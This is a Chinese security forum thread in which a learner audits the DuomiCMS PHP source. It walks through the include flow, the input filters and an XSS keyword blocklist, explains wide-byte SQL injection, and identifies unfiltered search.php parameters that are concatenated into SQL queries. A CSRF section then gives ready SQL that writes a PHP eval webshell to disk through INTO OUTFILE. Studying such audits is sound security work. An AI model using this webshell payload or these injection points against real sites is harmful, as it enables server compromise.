九零登录

[【通过】] Duomicms-审计学习

[复制链接]
发表于 2016-5-29 15:31:50 | 显示全部楼层 |阅读模式
本帖最后由 Living 于 2016-5-29 15:30 编辑

0x00 写在前面

   希望可以和大师傅们一起学习。功底不好,错误之处请直接指出。

0x01 整体流程
   偶然看到这个:http://www.wooyun.org/bugs/wooyun-2016-0169828恰好在学习审计,网上找了个版本看了看。源码下载连接:http://110.85.5.26:89/code/201109/DuomiCmsUTF-8_A5.zip
        
安装duomicms,一路向西。
http://imglf1.ph.126.net/nug24c8d4NQdjk-rETo7dg==/6631683492210050410.png
   安装完成,打开web根目录,有三个文件index.php、search.php、tag.php。
http://imglf1.ph.126.net/TZvre8ZVoD2Jj2uQwckDRA==/6631737368279810671.png
先看index.php文件
         第10-12行判断数据库链接文件data/common.inc.php是否存在,不存在就重定向到安装文件;第17行引入duomiphp/common.php文件包含common.php文件,定义一些系统常量,检查和注册外部提交变量,系统变量检测,系统设定,如目录、时区、语言包、系统信息,加载全局/过滤函数、数据库类、防御脚本等;第18行引入/duomiphp/core.class.php核心类文件。
[PHP] 纯文本查看 复制代码
if(!file_exists("data/common.inc.php"))
{
    header("Location:install/index.php");
    exit();
}
require_once ("duomiphp/common.php");
require_once duomi_INC."/core.class.php";
//站点状态
if($cfg_website==0)
{
        ShowMsg('站点已关闭!','-1');
        exit();
}
if($cfg_runmode=='0')
{
        header("Location:index".$cfg_filesuffix2);
}
    checkIP();
        echoIndex();
function echoIndex()

         duomiphp/common.php文件
         第12行包含了一个安全防御脚本文件/duomiphp/webscan.php,如果网站没有默认根目录安装防御脚本将失去作用。如我本地根目录是“D:\WWW\”但我的安装目录是“D:\WWW\duomicms”,将会找不到防御脚本而不会被包含。
[PHP] 纯文本查看 复制代码
if(is_file($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php')){
    require_once($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php');
}

   第26行引入全局功能函数文件/duomiphp/common.func.php
[PHP] 纯文本查看 复制代码
require_once(duomi_INC.'/common.func.php');

   第83行引入系统配置参数文件/duomiphp/config.cache.inc.php
[PHP] 纯文本查看 复制代码
//数据库配置文件
require_once(duomi_DATA.'/common.inc.php');

   第143行引入数据库类文件/duomiphp/sql.class.php
[PHP] 纯文本查看 复制代码
//引入数据库类
require_once(duomi_INC.'/sql.class.php');

search.php文件
提供搜索功能,第1-2行引入/duomiphp/common.php文件和核心类文件/duomicms//core.class.php。以GET的方式获取传入的值,过一系列的过滤(主要是_RunMagicQuotes()、RemoveXSS()、CheckSql()这三个函数),进入数据库查询,最后输出。
[PHP] 纯文本查看 复制代码
<?php
require_once("duomiphp/common.php");
require_once(duomi_INC."/core.class.php");

tag.php文件
         同样第1-2行引入/duomiphp/common.php文件和核心类文件/duomicms/core.class.php,提供标签检索。

0x02 需要关注的
         简单浏览了文件调用流程,接着看各种函数。
          _RunMagicQuotes()函数,/duomiphp/common.php文件第36-50行。先获取GPC的开启状态,如果开启直接返回数据,没有开启再判断是否为数组,是数组用foreach遍历为单个值再用addslashes函数过滤;第52-55行,对外部传入的数据进行遍历后调用_RunMagicQuotes ()函数过滤。
[PHP] 纯文本查看 复制代码
function _RunMagicQuotes(&$svar)
{
        if(!get_magic_quotes_gpc())
        {
                if( is_array($svar) )
                {
                        foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                        $svar = addslashes($svar);
                }
        }
        return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

         RemoveXSS()函数,/duomiphp /common.func.php文件第1644-1696行。定义了一个包含字母大小写、数字、各种符号的字符串$aearch,然后使用preg_replace()函数对传入的数据$val进行各种编码(包括16进制、ascii码)去除;接着定义两个黑名单数组用array_merge()函数合并成$ra数组,进入一个while循环;在while循环中将$val的值赋值给一个新的变量,定义了两层数组外层数组黑名单个数,内层数组每个黑名单字符串长度,然后逐个匹配如果匹配到黑名单中的字符则用预定义的$replacement进行替换。
[PHP] 纯文本查看 复制代码
function RemoveXSS($val) {  
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed  
   // this prevents some character re-spacing such as <java\0script>  
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs  
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);  
     
   // straight replacements, the user should never need these since they're normal characters  
   // this prevents like <IMG SRC=@avascript:alert('XSS')>  
   $search = 'abcdefghijklmnopqrstuvwxyz'; 
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
   $search .= '1234567890!@#$%^&*()'; 
   $search .= '~`";:?+/={}[]-_|\'\\'; 
   for ($i = 0; $i < strlen($search); $i++) { 
      // ;? matches the ;, which is optional 
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 
    
      // @ @ search for the hex values 
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; 
      // @ @ 0{0,7} matches '0' zero to seven times  
      $val = preg_replace('/(&#65533;{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
   } 
    
   // now the only remaining whitespace attacks are \t, \n, and \r 
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
   $ra = array_merge($ra1, $ra2); 
    
   $found = true; // keep replacing as long as the previous round replaced something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'; 
         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '(';  
               $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
               $pattern .= '|';  
               $pattern .= '|(&#65533;{0,8}([9|10|13]);)'; 
               $pattern .= ')*'; 
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i';  
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag  
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags  
         if ($val_before == $val) {  
            // no replacements were made, so exit the loop  
            $found = false;  
         }  
      }  
   }  
   return $val;  
}   

          CheckSql()函数,/duomiphp /sql.class.php文件第536-641行,由80sec提供。过滤了一些特殊语法、特殊字符和关键字。

0x03 宽字节注入科普
UTF-8:
          由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因 此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节:
          GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

我的理解:
         gbk--转换-->>utf8,例子:传入"%df'"过滤后,"%df\'"-->>"%df%5c'"形成"運'"。
         utf8--
转换-->>gbk,例子:传入"錦'"也就是"%E9%8C%6A'"-->>吃掉一字节"%e5%5c'"(gbk)-->>” %e5\\'”。
   但是我下载的这个版本中,没有找到宽字节注入,在
“/data/common.inc.php”中设置了“$cfg_db_language = 'utf8';”,全局搜索了下也没有另外的有缺陷的编码转换。一脸懵逼..

0x04 前台命令执行
         漏洞是位于根目录的search.php文件中,案例中是area参数存在宽字节注入+命令执行。在search.php文件看到可控数据有$tid、$area、$year、$letter、$yuyan、$state、$ver、$jq。
[PHP] 纯文本查看 复制代码
$content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        $content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        
        $content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        $content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        
        $content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        $content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        
        $content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        $content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        
        $content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
        $content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);

   在函数echosearchPage()中,第73行当“$searchtype==5”时才会把这些传入的数据进行拼接带入sql查询。
[PHP] 纯文本查看 复制代码
switch (intval($searchtype)) {
                case -1:
                        $whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%'  or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
                break;
                case 0:
                        $whereStr=" where v_recycled=0 and v_name like '%$searchword%'";        
                break;
                case 1:
                        $whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
                break;
                case 2:
                        $whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
                break;
                case 3:
                        $whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
                break;
                case 4:
                        $whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
                break;
                case 5:
                        $whereStr=" where v_recycled=0";
                        if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
                        if($year=="more")
                                {
                                $publishyeartxt=duomi_DATA."/admin/publishyear.txt";
                                                $publishyear = array();
                                                if(filesize($publishyeartxt)>0)
                                                {
                                                        $publishyear = file($publishyeartxt);
                                                }
                                                $yearArray=$publishyear;
                                                $yeartxt= implode(',',$yearArray);
                                                $whereStr.=" and v_publishyear not in ($yeartxt)";
                                }
                        if(!empty($year) AND $year!="more")
                                {$whereStr.=" and v_publishyear='$year'";}
                        if($letter=="0-9")
                                {$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
                        if(!empty($letter) AND $letter!="0-9")
                                {$whereStr.=" and v_letter='$letter'";}
                        if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
                        if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
                        if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
                        if($state=='l') $whereStr.=" and v_state !=0";
                        if($state=='w') $whereStr.=" and v_state=0";
                        if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
                break;
        }

         继续看,search.php文件第15行$tid经过intval()函数过滤;第99-100行$state只有等于1或者w时才会带入sql查询。
[PHP] 纯文本查看 复制代码
$tid = (isset($tid) && is_numeric($tid)) ? intval($tid) : 0;

[PHP] 纯文本查看 复制代码
if($state=='l') $whereStr.=" and v_state !=0";
                        if($state=='w') $whereStr.=" and v_state=0";

         再经过测试只有area、year、jq这三个参数在页面有回显。
http://imglf0.ph.126.net/4_mzv-peL6C2LlwJsNtCZA==/4832362400269320174.png
   选择jq参数进行测试(回显效果好点),造成命令执行的原因:对传入的数据没有进行合适的过滤,并直接以php的方式直接输出到页面,前后闭合注释掉后面多余的造成命令执行,如图(如有错误请打脸并指出-。-,代码没有看完而且有个核心类文件加密了没能解开..)。
http://imglf0.ph.126.net/eqGPHFm8IFqt4ZTJK_JA6w==/1996220534934530424.png

0x05 CSRF&后台getshell
         这个cms并没有做CSRF防范对管理员提交和输出的数据没有任何过滤,所以直接在留言处提交构造好的恶意url连接,诱使管理员点击即可(诚然这个几率太低..)。
Getshell
         管理员登录-工具-SQL管理秘书,默认情况下“/data/backupdata”目录具有写权限,物理路径获取看运气吧。
   单条语句执行:

[SQL] 纯文本查看 复制代码
create table test (yjh text not null);
insert into test(yjh) values('<?php eval($_POST[x]) ?>');
select yjh from test into outfile "D:\\www\\test.php";
drop table if exists test;

   在插入数据时,提示查询不到数据,即是成功了。
http://imglf1.ph.126.net/1V2B7DPf58LpidZQwOaM4A==/6631813234582128184.png

不知道怎么回事163和qq邮箱都收不到验证邮件,然后发帖的时候图片上传不了,只能选择外链,图片有些模糊见谅。

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-5-29 16:59:54 | 显示全部楼层
这个cms论坛有getshell 的,可以搜索看一下。
发表于 2016-5-29 18:21:20 | 显示全部楼层
问下楼主
选择jq参数进行测试(回显效果好点),造成命令执行的原因:对传入的数据没有进行合适的过滤,并直接以php的方式直接输出到页面,前后闭合注释掉后面多余的造成命令执行,如图(如有错误请打脸并指出-。-,代码没有看完而且有个核心类文件加密了没能解开..)。
这个jq造成命令执行,是因为哪个函数或者语句造成的,具体在哪个页面的多少行,
对代码审计不怎么熟悉,想仔细问下楼主,学习。
 楼主| 发表于 2016-5-29 20:37:46 | 显示全部楼层
80uncle 发表于 2016-5-29 18:21
问下楼主
选择jq参数进行测试(回显效果好点),造成命令执行的原因:对传入的数据没有进行合适的过滤,并 ...

相互学习 ^_^。
你问这个点,我自己反复审计了好几次,都不能肯定... 根目录的search.php文件第三行包含了“/duomiphp/core.class.php”文件,这个是核心类文件。但这个文件通过在线网站加密了(http://Www.PHPJiaMi.Com),没法读;所以你说的“是因为哪个函数或者语句造成的”是我没审计出来,我觉得是对jq参数传入的数据直接以php的方式解析并输出,造成命令执行。

发表于 2016-5-29 21:12:15 | 显示全部楼层
google搜下,这个早出现了,直接getshell的

九零

GMT+8, 2026-10-22 14:14

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表